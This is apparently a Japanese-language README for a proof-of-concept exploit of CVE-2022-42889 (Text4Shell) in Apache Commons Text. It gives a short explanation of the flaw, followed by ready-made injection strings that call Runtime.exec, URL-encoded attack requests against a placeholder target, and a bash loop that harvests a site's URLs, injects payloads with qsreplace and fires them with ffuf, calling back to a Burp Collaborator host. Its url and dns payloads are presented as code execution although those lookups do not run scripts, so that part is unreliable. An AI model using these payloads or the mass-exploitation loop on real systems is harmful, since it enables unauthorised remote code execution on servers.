
Apache Commons Text における CVE-2022-42889 (Text4Shell) の概念実証エクスプロイト。script、URL、DNS ルックアップを使用した手動および大量エクスプロイトスクリプトを備えています。
Apache commons text - CVE-2022-42889 Text4Shell 概念実証エクスプロイト。
CVE-2022-42889 は Apache Commons Text バージョン 1.5 から 1.9 に影響します。Commons Text バージョン 1.10 で修正されました。
この脆弱性は Log4Shell と比較されています。なぜなら、これはオープンソースライブラリレベルの脆弱性であり、関連するオブジェクトを使用する多種多様なソフトウェアアプリケーションに影響を与える可能性が高いためです。 しかし、初期分析によれば、これは不適切な比較です。脆弱性の性質上、Log4Shell とは異なり、アプリケーションが Commons Text の脆弱なコンポーネントを使用して信頼できない、悪意のある入力を処理することは稀です。
脆弱性は StringSubstitutor interpolator オブジェクトに存在します。StringSubstitutor.createInterpolator() メソッドによって作成された interpolator は、StringLookupFactory で定義された文字列ルックアップを可能にします。これは、"${prefix:name}" という文字列を渡すことで使用できます。ここで prefix は前述のルックアップです。"script"、"dns"、"url" ルックアップを使用すると、細工された文字列が interpolator オブジェクトに渡されたときに任意のスクリプトを実行できる可能性があります。
この特定のコード断片が本番アプリケーションに存在する可能性は低いですが、懸念されるのは、一部のアプリケーションで pocstring 変数が攻撃者によって制御される可能性があることです。この意味で、脆弱性は Log4Shell に類似しています。しかし、StringSubstitutor interpolator は Log4j の脆弱な文字列置換よりもはるかに広く使用されておらず、そのような interpolator の性質上、Log4Shell のように細工された文字列と単に相互作用するよりも、脆弱なオブジェクトに細工された入力が到達する可能性は低いです。
script:javascript
パラメータ値をペイロードに置き換えます:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace @tomnomnom に感謝